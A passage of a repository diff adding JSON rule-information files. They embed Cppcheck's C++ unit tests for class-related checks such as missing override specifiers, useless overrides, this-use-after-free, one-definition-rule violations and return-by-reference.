in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } };\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/initializationListUsage.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/initializationListUsage.json new file mode 100644 index 0000000..06c3204 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/initializationListUsage.json @@ -0,0 +1,22 @@ +{ + "name": "initializationListUsage", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 69, + "branches": 27, + "apis": 73, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 7900 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n 